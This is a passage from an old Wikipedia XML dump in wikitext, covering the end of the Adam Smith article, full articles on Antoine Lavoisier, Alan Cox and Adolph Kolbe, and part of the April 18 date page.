:''As every individual, therefore, endeavours as much as he can both to employ his capital in the support of domestic industry, and so to direct that industry that its produce may be of the greatest value; every individual necessarily labours to render the annual value of society as great as he can. He generally, indeed, neither intends to promote the public interest, nor knows how much he is promoting it. By preferring the support of domestic to that of foreign industry, he intends only his own security; and by directing that industry in such a manner as its produce may be of the greatest value, he intends only his own gain, and he is in this, as in many other cases, led by an invisible hand to promote an end which was no part of his intention. Nor is it always the worse for the society that it was no part of it. By pursuing his own interest he frequently promotes that of society more effectually than when he really intends to promote it. I have never known much good done by those who affected to trade for the public good. It is an affectation, indeed, not very common among merchants, and very few words need be employed in dissuading them from it.''

==''The &quot;Adam Smith-Problem&quot;''==
{{liberalism}}
There has been considerable controversy as to whether there is a contradiction between Smith's emphasis on sympathy in his ''Theory of Moral Sentiments'' and the key role of self-interest in ''The Wealth of Nations''.  Economist [[Joseph Schumpeter]] referred to this in German as ''[[:de:Adam-Smith-Problem|das 'Adam Smith-Problem']]''. In his ''Moral Sentiments'' Smith seems to emphasize the broad synchronization of human intention and behaviour under a beneficent Providence, while in ''The Wealth of Nations'', in spite of the general theme of &quot;the invisible hand&quot; Adam Smith makes the claim that, within the system of capitalism, an individual acting for his own good tends also to promote the good of his community. creating harmony out of conflicting self-interests, he finds many more occasions for pointing out cases of conflict and of the narrow selfishness of human motives.  Yet it would be inaccurate to describe the Adam Smith of the ''Moral Sentiments'' as disbelieving of an essential selfishness of most human motives, for he writes that:
:''Thus self-preservation, and the propagation of the species, are the great ends which Nature seems to have proposed in the formation of all animals. Mankind are endowed with a desire of those ends, and an aversion to the contrary; with a love of life, and a dread of dissolution; with a desire of the continuance and perpetuity of the species, and with an aversion to the thoughts of its entire extinction. But though we are in this manner endowed with a very strong desire of those ends, it has not been entrusted to the slow and uncertain determinations of our reason, to find out the proper means of bringing them about. Nature has directed us to the greater part of these by original and immediate instincts. Hunger, thirst, the passion which unites the two sexes, the love of pleasure, and the dread of pain, prompt us to apply those means for their own sakes, and without any consideration of their tendency to those beneficent ends which the great Director of nature intended to produce by them.''

Adam Smith himself cannot have seen any contradiction, since he produced a slightly revised edition of ''Moral Sentiments'' after the publication of ''[[The Wealth of Nations]]''.  Both sets of ideas are to be found in his [[Lectures on Jurisprudence]].  He may have believed that moral sentiments and self-interest would always add up to the same thing.

Some scholars have given another explanation: Adam Smith was trying to illustrate the complicated economy with two simple dimensions. It was the people who, due to historical limitations, emphasized the &quot;wealth&quot; part.  In the future, due to the change of world economy, the emphasis may well change.

==Influence==
''The Wealth of Nations'', and to a lesser extent ''The Theory of Moral Sentiments'', have become the starting point for any defence or critique of forms of [[capitalism]], most influentially in the writings of [[Karl Marx|Marx]] and [[Humanism|Humanist]] [[economist]]s. Because capitalism is so often associated with unbridled [[selfishness]], there is a recent movement to emphasize the moral philosophy of Smith, with its focus on [[sympathy]] with one's fellows.

There has been some controversy over the extent of Smith's originality in ''The Wealth of Nations''; some argue that the work added modestly to the already established ideas of thinkers such as [[Anders Chydenius]] ([[The National Gain]] (1765)), [[David Hume]] and the [[Charles de Secondat, Baron de Montesquieu|Baron de Montesquieu]]. Indeed, many of the theories Smith sets out simply describe historical trends away from [[mercantilism]], towards [[free trade]], that had been developing for many decades, and had already had significant influence on governmental policy.  Nevertheless, it organizes their ideas comprehensively, and remains one of the most influential and important books in the field today.

Smith was ranked #30 in [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].

==Major works==
* ''[[The Theory of Moral Sentiments]]'' (1759)
* ''[[The Wealth of Nations]]'' (1776)
* ''[[Essays on Philosophical Subjects]]''

==Notes==
#{{note|cannan}} ''&quot;Lectures on Justice, Police, Revenue and Arms&quot;'', 1896
#{{note|monboddo}} Cloyd, E.L.: ''&quot;[[James Burnett, Lord Monboddo]]&quot;'', pp 64-66. Oxford University Press, 1972

==See also==
*[[Liberalism]]
*[[Contributions to liberal theory]]
*[[Adam Smith rule]]
*[[Capitalism]]
*[[History of economic thought]]
*[[Anders Chydenius]]
*''[[The National Gain]]''
*[[Times obituary of Adam Smith]]
*[[William Petty]]

==External links==
{{Wikiquote}}
{{Wikisource author}}
;General
* {{gutenberg author| id=Adam+Smith | name=Adam Smith}}
*[http://www.econlib.org/library/Enc/bios/Smith.html Biography] at the ''Concise Encyclopedia of Economics''
*[http://www.econlib.org/library/YPDBooks/Rae/raeLS.html ''Life of Adam Smith''] by John Rae, at the Library of Economics and Liberty
*[http://cepa.newschool.edu/het/profiles/smith.htm Smith's works]
*[http://econ161.berkeley.edu/Economists/smith.html Brad deLong's Adam Smith page]
*[http://www.adamsmith.org The Adam Smith Institute]
*[http://www.libertyforums.com/ LibertyForums] - Classical Liberal, Libertarian &amp; Objectivist Discussion Board.
*[http://www.boomerbible.com/adam20.html Excerpt from &quot;The Book of the VIP Adam&quot;]
*[http://web.uvic.ca/~rutherfo/a_smith.html Grave of Adam Smith] on the [http://web.uvic.ca/~rutherfo/mr_grvs.html Famous Economists Grave Sites]
*[http://www.npg.org.uk/live/search/ Images at the National Portrait Gallery]
*[http://www.importantscots.com/adam-smith.htm Adam Smith - Important Scots]
*[http://www.cfh.ufsc.br/ethic@/et42art2.pdf Reflections on Smith's ethics]

;Works
*[http://www.econlib.org/library/Smith/smWN.html ''The Wealth of Nations''] at the [http://www.econlib.org/index.html Library of Economics and Liberty]. Cannan edition. Definitive, fully searchable, free online.
*{{Gutenberg|no=3300|name=The Wealth of Nations}}
*[http://www.mondopolitico.com/library/wealthofnations/toc.htm ''The Wealth of Nations''] from [http://www.mondopolitico.com/library/ Mondo Politico Library] - full text; formatted for easy on-screen reading.
*[http://www.adamsmith.org/smith/won-intro.htm ''The Wealth of Nations''] from the [http://www.adamsmith.org/ Adam Smith Institute] - elegantly formatted for on-screen reading
*[http://oll.libertyfund.org/Home3/BookSetToCPage.php?recordID=0141 ''Works and Correspondence of Adam Smith'']. Glasgow edition, 7 volumes at the [http://oll.libertyfund.org/ Online Library of Liberty]. Definitive, free online.
*[http://www.econlib.org/library/Smith/smMS.html ''The Theory of Moral Sentiments''] at the [http://www.econlib.org/index.html Library of Economics and Liberty]

[[Category:1723 births|Smith, Adam]]
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[[Category:Adam Smith]]
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[[Category:Economists|Smith, Adam]]
[[Category:Enlightenment philosophers|Smith, Adam]]
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[[Category:Fellows of the Royal Society of Edinburgh|Smith, Adam]]
[[Category:Fellows of the Royal Society|Smith, Adam]]
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[[Category:Scottish economists|Smith, Adam]]
[[Category:Scottish Enlightenment|Smith]]
[[Category:Scottish philosophers|Smith, Adam]]
[[Category:Scottish writers|Smith, Adam]]

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    <title>Antoine Lavoisier</title>
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      <comment>/* Can a severed head think? */</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        =Antoine Lavoisier
| image       = Antoine_lavoisier_color.jpg
| caption     = [[List of people known as the father or mother of something|Father of modern chemistry]]
| birth_date  = [[August 26]] [[1743]]
| birth_place = [[Paris]],[[France]]
| death_date  = [[May 8]] [[1794]]
| death_place = [[Paris]],[[France]]
| occupation  = [[Chemist]], [[economics|economist]] and [[nobility|nobleman]].
| salary      = 
| networth    = 
| website     =
| footnotes   = 
}}

'''Antoine-Laurent de Lavoisier''' ([[August 26]] [[1743]] &amp;ndash; [[May 8]] [[1794]]) was a [[France|French]] [[nobility|nobleman]] prominent in the histories of [[chemistry]], [[finance]], [[biology]], and [[economics]]. The &quot;''[[List of people known as the father or mother of something|father of modern chemistry]]''&quot;, he stated the first version of the [[Law of Conservation of Matter]], recognized and named [[oxygen]] ([[1778]]), disproved the [[phlogiston theory]], and helped to reform chemical nomenclature.  He was also an investor and administrator of the ''[[Ferme Générale]]'', a private tax collection company; chairman of the board of the [[Discount Bank]] (later the [[Banque de France]]); and a powerful member of a number of other aristocratic administrative councils. Due to his prominence in the pre-revolutionary government in [[France]], he was [[Decapitation|beheaded]] at the height of the [[French Revolution]].

==Early life==
[[Image:David_Portrait_of_Monsieur_Lavoisier.jpg|thumb|200px|left|''Portrait of Monsieur Lavoisier and his Wife'', by [[Jacques-Louis David]].]]
Born to a wealthy family in [[Paris]], Antoine Laurent Lavoisier inherited a large fortune when his mother died. He attended the [[College Mazarin]] from [[1754]] to [[1761]], studying [[chemistry]], [[botany]], [[astronomy]], and [[mathematics]]. His education was filled with the ideals of the French [[The Enlightenment|Enlightenment]] of the time, he felt fascination for [[Maquois|Maquois's]] dictionary. His devotion and passion for chemistry was largely influenced by [[Étienne Condillac]], a prominent French scholar of the [[18th century]]. His first chemical publication appeared in [[1764]]. In [[1767]] he worked on a geological survey of [[Alsace-Lorraine]]. He was elected a member of the [[French Academy of Sciences]], France's most elite scientific society, at the age of 25 in [[1768]] for an essay on street lighting and in recognition for his earlier research. In [[1769]] he worked on the first geological map of [[France]]. 

In [[1771]], he married 13-year-old [[Marie-Anne Pierette Paulze]], the daughter of a co-owner of the Ferme. With time, she proved to be a scientific colleague to her husband. She translated documents from English for him, including [[Richard Kirwan]]'s &quot;''Essay on Phlogiston''&quot; and [[Joseph Priestley]]'s research. She created many [[drawing|sketches]] and carved engravings of the laboratory instruments used by Lavoisier and his colleagues. She also edited and published Lavoisier’s memoirs and hosted many parties during which eminent scientists would discuss new chemical theories. As a result of her close work with her husband, it is difficult to separate her individual contributions from his, but it is correctly assumed that much of the work accredited to him bears her fingerprints.

==Contributions to chemistry==
[[Image:Antoine_lavoisier.jpg|thumb|100px|right|[[Portrait]] of Antoine Lavoisier in his youth.]]

===Background===
Beginning in [[1775]], he served in the [[Royal Gunpowder Administration]], where his work led to improvements in the production of [[gunpowder]] and the use of [[agricultural chemistry]] by designing a new method for preparing [[saltpeter]].
[[Image:Hidrogenexp1.jpg|thumb|180px|left|[[Drawing|Hand sketch]] design aparatus for hydrogen combustion experiment made by Lavoisier in the [[1780s]].]]
===Major works===
Some of Lavoisier's most important experiments examined the nature of [[combustion]], or burning. Through these experiments, he demonstrated that burning is a process that involves the combination of a substance with oxygen. He also demonstrated the role of oxygen in metal rusting, as well as its role in animal and plant respiration: working with [[Pierre-Simon Laplace]], Lavoisier conducted experiments that showed that respiration was essentially a slow combustion of organic material using inhaled oxygen. Lavoisier's explanation of combustion replaced the [[phlogiston]] theory, which postulates that materials release a substance called phlogiston when they burn. 
===Research on hydrogen and role disproving Phlogiston theory===
[[Image:Hidrogenexp2.gif|thumb|170px|right|Aparatus for hydrogen combustion experiment made from Lavoisier's sketch by Jean Baptiste Meusnier in [[1783]].]]
He also discovered that the inflammable air of [[Henry Cavendish]] which he termed ''[[hydrogen]]'' ([[Ancient Greek|Greek]] for &quot;water-former&quot;), combined with oxygen to produce a dew, as [[Joseph Priestley]] had reported, which appeared to be water. Lavoisier's work was partly based on the work of Priestley (he corresponded with Priestley and fellow members of the [[Lunar Society]]). However, he tried to take credit for Priestley's discoveries. This tendency to use the results of others without acknowledgment, then draw conclusions is said to be characteristic of Lavoisier. In ''Sur la combustion en general'' (''On Combustion in general'', [[1777]]) and ''Considérations Générales sur la Nature des Acides'' (''General Considerations on the Nature of Acids''), [[1778]]), he demonstrated that the &quot;air&quot; responsible for combustion was also the source of acidity. In [[1779]], he named this part of the air ''oxygen'' (Greek for &quot;acid-former&quot;), and the other ''azote'' (Greek for &quot;no life&quot;). In ''Reflexions sur le Phlogistique'' (''Reflections on Phlogiston'', [[1783]]), Lavoisier showed the [[phlogiston theory]] to be inconsistent.

===Pioneer of [[Stoichiometry]]===
[[Image:Instruments_lavoisier.jpg|thumb|175px|left|[[Laboratory equipment|Laboratory instruments]] used by Lavoisier circa [[1780s]].]]
Lavoisier's experiments were among the first truly quantitative chemical experiments ever performed; that is, he carefully weighed the reactants and products involved, a crucial step in the advancement of chemistry. He showed that, although matter changes its state in a chemical reaction, the quantity of matter is the same at the end as at the beginning of every chemical reaction. He burnt phosphorus and sulfur in air, and proved that the products weighed more than the original. Nevertheless, the weight gained was lost from the air. These experiments provided evidence for the law of the conservation of matter, or in other words, '''the law of conservation of mass .'''

===Major works on analytical chemistry and chemical nomenclature===
Lavoisier also investigated the composition of water and air, which at the time were considered elements. He discovered the components of water were oxygen and hydrogen, and that air was a mixture of gases - primarily [[nitrogen]] and oxygen. With the French chemists [[Claude-Louis Berthollet]], Antoine Fourcroy and Guyton de Morveau, Lavoisier devised a chemical nomenclature, or a system of names describing the structure of chemical compounds. He described it in ''Méthode de nomenclature chimique'' (''Method of Chemical Nomenclature'', [[1787]]). Their system facilitated communication of discoveries between chemists of different backgrounds and is still largely in use today, including names such as sulfuric acid, sulfates, and sulfites. 
[[Image:Lavoisiers_lab.jpg|thumb|200px|right|A replica of Lavoisier's laboratory at the ''Deutsches Museum'' in [[Munich]], [[Germany]].]]
His ''Traité Élémentaire de Chimie (Elementary Treatise of Chemistry'', [[1789]], translated into English by [[Robert Kerr (writer)|Robert Kerr]]) is considered to be the first modern chemical [[textbook]], and presented a unified view of new theories of chemistry, contained a clear statement of the [[Law of Conservation of Mass]], and denied the existence of phlogiston. Also, Lavoisier clarified the concept of an element as a simple substance that could not be broken down by any known method of chemical analysis, and he devised a theory of the formation of chemical compounds from elements. 

[[Image:Lentilles_ardentes.jpg|thumb|170px|left|Combustion, generated by focusing sun light over [[flammable]] materials using lenses, experiment conducted by Lavosier circa [[1770s]].]]
In addition, it contained a list of elements, or substances that could not be broken down further, which included oxygen, nitrogen, hydrogen, [[phosphorus]], [[mercury (element)|mercury]], [[zinc]], and [[sulphur]]. It also forms the basis for the modern list of elements. His list, however, also included light and [[Caloric theory|caloric]], which he believed to be material substances. While many leading chemists of the time refused to believe Lavoisier's new revelations, the ''Elementary Treatise'' was written well enough to convince the younger generation.
[[Image:Zoom_lunette_ardente.jpg|thumb|180px|right|Lavoisier while conducting combustion experiment.]] 
===Aftermath===
Lavoisier's fundamental contributions to chemistry were a result of a conscious effort to fit all experiments into the framework of a single theory. He established the consistent use of [[chemical balance]], used oxygen to overthrow the phlogiston theory, and developed a new system of chemical nomenclature which held that oxygen was an essential constituent of all acids (which later turned out to be erroneous). Lavoisier also made introductory research on physical chemistry and thermodynamics in joint experiment with [[Laplace]], when he used a calorimeter to estimate the heat evolved per unit of carbon dioxide produced, eventually they found the same ratio for a flame and animals, indicating that animals produced energy by a type of combustion. 
[[Image:Calorimeter.gif|thumb|115px|left|Constant [[pressure]] [[calorimeter]] made by Lavoisier for chemical [[enthalpy]] experiment.]]

He also made remarkable contributions to [[chemical bond|chemical bonding]] by stating the radical theory, believing that radicals, which function as a single group in a chemical reaction, would combine with oxygen in reactions. He also introduced the possibility of [[allotropy|allotropy in chemical elements]] when he discovered that [[diamond]] is a crystalline form of carbon.

He also updated many chemical concepts, for the first time the modern notion of elements was laided out systematically; the three or four elements of classical chemistry gave way to the modern system, and Lavoisier worked out reactions in chemical equations that respect the conservation of mass (see, for example, the [[nitrogen cycle]]).[[Image:Lavoisier_humanexp.jpg|thumb|240px|right|Lavoisier conducting an experiment in the [[1770s]].]] 
His contributions are considered the most important in advancing the science of chemistry to the level of what had been achieved in physics and mathematics during [[18th century]].

==Law and politics==
Of key significance in Lavoisier's life was his study of [[law]]. He received a [[law degree]] and was admitted to the [[bar association|bar]], but never practiced as a [[lawyer]]. He did become interested in French [[politics]], and as a result, he obtained a position as [[tax]] collector in the ''[[Ferme Générale]]'', a [[tax farming]] company, at the age of 26, where he attempted to introduce reforms in the French [[monetary system|monetary]] and [[tax]]ation system. While in government work, he helped develop the [[SI|metric system]] to secure uniformity of [[weights and measures]] throughout France.

==Execution==
As one of 28 French tax collectors and a powerful figure in the unpopular Ferme Générale, Lavoisier was branded a traitor during the Reign of Terror by [[French Revolution|revolutionists]] in 1794, and tried, convicted and [[guillotine|guillotined]] all on one day in Paris, at the age of 51. Ironically, Lavoisier was one of the few liberals in his position. One of his actions that may have sealed his fate was a contretemps a few years earlier with the young [[Jean-Paul Marat|Jean-Paul Marat]], who subsequently became a leading revolutionary.

An appeal to spare his life was cut short by the judge: &quot;The Republic has no need of geniuses [or, alternately, &quot;scientists.&quot;].&quot;  His importance for science was expressed by the mathematician [[Joseph Louis Lagrange]] who lamented the beheading by saying: &quot;It took them only an instant to cut off that head, but France may not produce another like it in a century.&quot;

One and a half years following his death, Lavoisier was exonerated by the French government. When his private belongings were delivered to his widow, a brief note was included reading &quot;To the widow of Lavoisier, who was falsely convicted.&quot;

About a century after his death, a statue of Lavoisier was erected in Paris. It was later discovered that the sculptor had not actually copied Lavoisier's head for the statue, but used a spare head of the [[Marquis de Condorcet]], the Secretary of the Academy of Sciences during Lavoisier's last years. Lack of money prevented alterations being made and, in any case, the French argued pragmatically that all men in wigs looked alike anyway. The statue was melted down during the [[World War II|Second World War]] and has never been replaced.

== Can a severed head think? ==
A story relates how Lavoisier arranged a final experiment at his death intended to determine whether and for how long a severed head remains conscious after [[decapitation]]. Supposedly, Lavoisier decided to blink as many times as possible, and had an assistant count the blinks, which numbered between 15 and 20. The story may be apocryphal. Standard biographies have never mentioned the incident, and some biologists have expressed skepticism that it would be possible. However romantic, the story is false.[http://www.straightdope.com/classics/a5_262.html]

==References==
* Berthelot, M. ''La révolution chimique: Lavoisier.'' Paris: Alcan, 1890.
* Daumas, M. ''Lavoisier, théoricien et expérimentateur.'' Paris: Presses Universitaires de France, 1955.
* Lavoisier, A. ''Traité élémentaire de chimie, présenté dans un ordre nouveau et d'après les découvertes modernes, 2 vols.'' Paris: Chez Cuchet, 1789. Reprinted Bruxelles: Cultures et Civilisations, 1965.
* Antoine Lavoisier, ''Elements of Chemistry'', Dover Publications Inc., New York, NY,1965, 511 pages.

==Further reading==
*Donovan, Arthur, &quot;Antoine Lavoisier:  Science, Administration, and Revolution.&quot;, Cambridge University Press, 1993.
* Hundred Greatest Men, 1885 [http://www.lib.utexas.edu www.lib.utexas.edu]
*Gunpowder: Alchemy, Bombards, &amp; Pyrotechnics by Jack Kelly - The history of the explosive that changed the world (Basic Books, 2004 - 0-465-03718-6).
*Grey, Vivian. &quot;The Chemist Who Lost His Head: The Story of Antoine Lavoisier.&quot;, Coward, McCann &amp; Geoghegan, Inc. , 1982

==External links== 
{{wikiquote}}
{{commons|Antoine-Laurent de Lavoisier|Antoine Lavoisier}}
* [http://moro.imss.fi.it/lavoisier/ A virtual museum of Antoine Lavoisier]
* [http://histsciences.univ-paris1.fr/i-corpus/lavoisier/index.php The Complete Works of Lavoisier]
* [http://www.straightdope.com/classics/a5_262.html Does the head remain briefly conscious after decapitation?] from [[The Straight Dope]], references Lavoisier's execution
* [http://www.chemheritage.org/EducationalServices/chemach/fore/all.html Antoine Lavoisier], Chemical Achievers profile

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  <page>
    <title>Alan Cox</title>
    <id>1823</id>
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        <ip>212.113.198.67</ip>
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      <comment>Interview link</comment>
      <text xml:space="preserve">:''For the radio presenter, see [[Alan Cox (radio presenter)]].''

'''Alan Cox''' (born 1968) is a [[programmer]] heavily involved in the development of the [[Linux kernel]] since its early days (1991). Whilst employed on the campus of [[University of Wales, Swansea]], he installed a very early version of [[Linux]] on one of the machines belonging to the [[Swansea University Computer Society|university computer society]]. This was one of the first Linux installations on a busy [[computer network| network]], and revealed many bugs in the networking code. Cox fixed many of these bugs, and went on to rewrite much of the networking subsystem. He then became one of the main developers and maintainers of the whole kernel. 
[[Image:With-alan-cox.jpg|thumb|Alan Cox, wearing a red hat, with two [[Gentoo]] developers at the LinuxWorld Expo 2005]]
He maintained an old  branch (2.2.x), and his own versions of the previous stable branch (2.4.x) (signified by an &quot;ac&quot; in the version, for example 2.4.13-ac1). This branch was very stable and contained bugfixes that went directly into the vendor kernels. He was once commonly regarded as being the &quot;second in command&quot; after [[Linus Torvalds]] himself. His dense and friendly comments have guided many programmers on the [[linux kernel mailing list]]. Alan is employed by [[Red Hat]] and lives in [[Swansea]], [[Wales]] with his wife, Telsa Gwynne. Since then he has also been involved in the [[GNOME]] and [[Xorg]] projects.

He was the main developer of [[AberMUD]], which he wrote whilst a student at the [[University of Wales, Aberystwyth]].

He is an ardent supporter of programming freedom, and an outspoken opponent of [[software patent]]s, the [[DMCA]] and the [[CBDTPA]]. He resigned from a subgroup of [[Usenix]] in protest, and said he would not visit the [[United States]] for fear of being imprisoned after the arrest of [[Dmitry Sklyarov]] for DMCA violations.

Cox was the recipient of the [[Free Software Foundation]]'s [[2003]] [[FSF Award for the Advancement of Free Software|Award for the Advancement of Free Software]] at the [[FOSDEM]] conference in [[Brussels]].

On October 5th 2005, Cox received a lifetime achievement award at the [[LinuxWorld]] awards in London.

== External links ==
*[http://www.softpanorama.org/People/Cox/index.shtml Alan Cox: The maintainer of production version of the Linux kernel. Ch. 5 of ebook ''Open Source Pioneers'', includes a lot of difficult to find interviews]
*[http://www.redhat.com/advice/ask_alancox.html Interview on his biography]
*[http://zenii.linux.org.uk/diary/ His diary] in [[Welsh language|Welsh]]
*[http://zenii.linux.org.uk/~telsa/Diary/diary.html His wife Telsa's diary]
*[http://lwn.net/1999/features/ACInterview/ LWN interviews Alan Cox]
*[http://kerneltrap.org/node/view/9 Interview with Alan Cox - January 15, 2002] 
*[http://www.sucs.org/ The Swansea University Computer Society]
*[http://www.lugradio.org/episodes/24 LugRadio interview]
*[http://www.linuxformat.co.uk/modules.php?op=modload&amp;name=Sections&amp;file=index&amp;req=viewarticle&amp;artid=15 Linux Format interview - August 2005]

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        <username>Kelly Martin</username>
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    <title>Adolph Wilhelm Hermann Kolbe</title>
    <id>1825</id>
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      <id>23283077</id>
      <timestamp>2005-09-15T13:29:14Z</timestamp>
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      <comment>interwiki</comment>
      <text xml:space="preserve">[[Image:Adolfkolbe.jpg|right]]

'''Adolph Wilhelm Hermann Kolbe''' ([[September 27]], [[1818]] &amp;ndash; [[November 25]], [[1884]]) was a [[chemist]].

Kolbe was born in Elliehausen near [[Hanover]], [[Germany]].

He became an assistant to [[Robert Wilhelm Bunsen]] at the [[University of Marburg]] in [[1842]], after studying [[chemistry]] with [[Friedrich Woehler|Friedrich Wöhler]]. Subsequently he assisted [[Lyon Playfair, 1st Baron Playfair|Lyon Playfair]] at the University of [[London]] and from 1847 to 1851 was engaged in editing the ''Handwörterbuch der reinen und angewandten Chemie'' (''Dictionary of Pure and Applied Chemistry'') written by [[Justus von Liebig]] and Wöhler. Kolbe then succeeded Bunsen at Marburg, and in 1865 he went to the University of [[Leipzig]].

At that time, it was believed that organic and [[inorganic compound]]s are independent from each other, and that organic compounds could  be created only by living organisms. Kolbe believed that [[organic compound]]s could be derived from inorganic ones, directly or indirectly, by substitution processes. He validated his theory by converting [[carbon disulfide]], in several steps, to [[acetic acid]] (1843-45). Introducing a modified idea of structural [[free radical|radicals]], he contributed to the establishment of [[structural theory]]. He also predicted the existence of secondary and tertiary [[alcohol]]s. 

He worked on the [[electrolysis]] of the salts of [[fatty acid|fatty]] and other [[acid]]s ([[Kolbe electrolysis]]) and prepared [[salicylic acid]], a building block of [[aspirin]] in a process called [[Kolbe synthesis]] or [[Kolbe-Schmitt reaction]].
 
With [[Edward Frankland]] he found that [[nitrile]]s can be hydrolyzed to the corresponding acids. As editor of the ''Journal für praktische Chemie'' (''Journal of practical chemistry'', 1869), he was sometimes severely critical of the work of others.

He died in [[Leipzig]], [[Germany]]

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    <title>April 18</title>
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{| style=&quot;float:right;&quot;
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|{{ThisDateInRecentYears|Month=April|Day=18}}
|}
'''April 18''' is the 108th day of the year in the [[Gregorian calendar]] (109th in [[leap year]]s). There are 257 days remaining.
==Events==
*[[1025]] - [[Boleslaus I of Poland|Boles&amp;#322;aw I Chrobry]] is crowned as the first king of [[Poland]].
*[[1042]] - [[Michael V]] attempts to remain sole ruler of the [[Byzantine Empire]] by sending his adoptive mother and co-ruler [[Zoe (empress)|Zoë of Byzantium]] to a [[monastery]].
*[[1518]] - [[Bona Sforza]] is crowned as queen of [[Poland]].
*[[1775]] - Two [[lantern]]s were hung from the [[steeple (architecture)|steeple]] of the [[Old North Church]] in [[Boston, Massachusetts]].  [[Paul Revere]], [[William Dawes]] and [[Samuel Prescott]] ride to warn of impending arrests of [[Samuel Adams]] and [[John Hancock]] and seizure of weapons.  Only Prescott finishes the ride.
*[[1797]] - [[Battle of Neuwied (1797)|Battle of Neuwied]] resulted in the victory of [[France|French]] under General [[Louis Lazare Hoche]] against [[Austria]]ns under General [[Wermecek]].
*[[1880]] - A [[Fujita scale|F4]] tornado strikes [[Marshfield, Missouri]], killing 99 people and injuring 200.
*[[1899]] - [[St. Andrew's Ambulance Association]] is granted a [[Royal Charter]] by [[Queen Victoria]]
*[[1906]] - An [[earthquake]] with an estimated magnitude of 7.8, destroys much of [[San Francisco, California]]. (See [[1906 San Francisco earthquake]])
*1906 - The ''[[Los Angeles Times]]'' runs a front-page story on the [[Azusa Street Revival]], launching [[Pentecostalism]] as a worldwide movement. 
*[[1915]] - Early [[France|French]] [[aviator]] and a [[fighter aircraft]] pilot [[Roland Garros]] was shot down and glided to a landing on the [[Germany|German]] side of the lines during [[World War I]]. 
*[[1923]] - [[Yankee Stadium]], &quot;The House that [[Babe Ruth|Ruth]] Built&quot;, opens.
*[[1934]] - The first [[washateria]] opens in [[Fort Worth, Texas]].
*[[1942]] - [[World War II]]: The [[Doolittle Raid]] on [[Tokyo]] occurs.
*1942 - [[Pierre Laval]] becomes Prime Minister of [[Vichy France]].
*[[1945]] - [[World War II]]: Over 1,000 bombers attack the small island of [[Heligoland]], [[Germany]], leaving nothing standing.
*[[1946]] - The [[League of Nations]] is dissolved.
*[[1949]] - The [[Republic of Ireland Act]] comes into force.
*[[1954]] - [[Gamal Abdal Nasser]] seizes power in [[Egypt]].
*[[1958]] - A [[U.S.]] federal court rules that [[poet]] [[Ezra Pound]] be released from an [[insane asylum]].
*[[1961]] - [[Conferência das Organizações Nacionalistas das Colónias Portuguesas|CONCP]] is founded in [[Casablanca]] as a united front of African movements opposing [[Portugal|Portuguese]] colonial rule.
*[[1972]] - The [[Roland Corporation]] is founded in [[Osaka, Osaka|Osaka]], [[Japan]].
*[[1974]] - [[Italy|Italian]] prosecutor [[Mario Sossi]] is kidnapped by the [[Red Brigades]].
*[[1980]] - The Republic of [[Zimbabwe]] (formerly [[Rhodesia]]) comes into being, with [[Canaan Banana]] as the country's first [[List of Presidents of Zimbabwe|President]].
*[[1981]] - A [[Minor League baseball]] game between the [[Rochester Red Wings]] and the [[Pawtucket Red Sox]] at [[McCoy Stadium]] in [[Pawtucket]], [[Rhode Island]] becomes the [[longest baseball game|longest professional baseball game]] in history: 8 hours and 25 minutes/33 innings (the 33rd inning was not played until [[June 23|June 23rd]]).
*[[1983]] - A [[suicide bomber]] [[April 1983 U.S. Embassy bombing|destroys the United States embassy]] in [[Beirut]], [[Lebanon]], killing 63 people.
*[[1987]] - [[Mike Schmidt]] becomes the 14th member of the [[500 home run club]] with a [[Home run|home run]] at [[Three Rivers Stadium]] in [[Pittsburgh, Pennsylvania]].
*[[1988]] - U.S. launches [[Operation Praying Mantis]] against Iranian naval forces in retaliation for the [[April 14]] [[naval mine|mining]] of the [[USS Samuel B. Roberts (FFG-58)]] in the [[Persian Gulf]] during [[Operation Earnest Will]]. The one-day action is the world's largest naval battle since World War II.
*[[1992]] - [[General]] [[Abdul Rashid Dostum]] revolted against [[President of Afghanistan|President]] [[Mohammad Najibullah]] of the [[Democratic Republic of Afghanistan]] and allied with [[Ahmed Shah Massoud]] to capture [[Kabul]].
*[[1996]] - In [[Lebanon]], 102 [[Lebanon|Lebanese]] civilians are killed when the [[Israel Defense Forces]] shell the [[UN]] compound at [[Qana]] (see [[Qana Massacre]]).
*[[2002]] - A new order of [[insect]]s, [[Mantophasmatodea]], is announced.

==Births==
*[[1480]] - [[Lucrezia Borgia]], Florentine ruler and daughter of [[Pope Alexander VI]] 
*[[1580]] - [[Thomas Middleton]], English dramatist (d. [[1627]])
*[[1590]] - [[Ahmed I]], [[Ottoman Emperor]] (d. [[1617]])
*[[1605]] - [[Giacomo Carissimi]], Italian composer (d. [[1674]])
*[[1771]] - [[Karl Philipp Fürst zu Schwarzenberg]], Austrian field marshal (d. [[1820]])
*[[1772]] - [[David Ricardo]], English economist (d. [[1823]])
*[[1797]] - [[Adolphe Thiers]], French statesman (d. [[1877]])
*[[1819]] - [[Franz von Suppé]], Austrian composer (d. [[1895]])
*[[1838]] - [[Paul Emile Lecoq de Boisbaudran]], French scientist (d. [[1912]])
*[[1857]] - [[Clarence Darrow]], American attorney (d. [[1938]])
*[[1864]] - [[Richard Harding Davis]], American author (d. [[1916]])
*[[1874]] - [[Ivana Brlic-Mazuranic]], Croatian writer (d. [[1938]])
*[[1880]] - [[Sam Crawford]], baseball player (d. [[1968]])
*[[1882]] - [[Leopold Stokowski]], Polish conductor (d. [[1977]])
*[[1888]] - [[Duffy Lewis]], baseball player (d. [[1979]])
*[[1897]] - [[Ardito Desio]], Italian topographer and mountaineer (d. [[2001]])
*[[1902]] - [[Giuseppe Pella]], [[Prime Minister of Italy]] (d. [[1981]])
*[[1904]] - [[Pigmeat Markham]], American comedian (d. [[1981]])
*[[1905]] - [[George H. Hitchings]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1998]])
*[[1907]] - [[Miklós Rózsa]], Hungarian-born composer (d. [[1995]])
*[[1917]] - [[Ty LaForest]], Canadian baseball player (d. [[1947]])
*[[1918]] - [[Cliff Hillegass]], American publisher (d. [[2001]])
*[[1921]] - [[Jean Richard]], French actor (d. [[2001]])
*[[1924]] - [[Clarence Gatemouth Brown|Clarence &quot;Gatemouth&quot; Brown]], American musician
*1924 - [[Henry Hyde]], American politician
*[[1927]] - [[Samuel P. Huntington]], American political scientist
*[[1936]] - [[Tommy Ivo]], American race car driver
*[[1939]] - [[Thomas J. Moyer]], Chief Justice of the Ohio Supreme Court
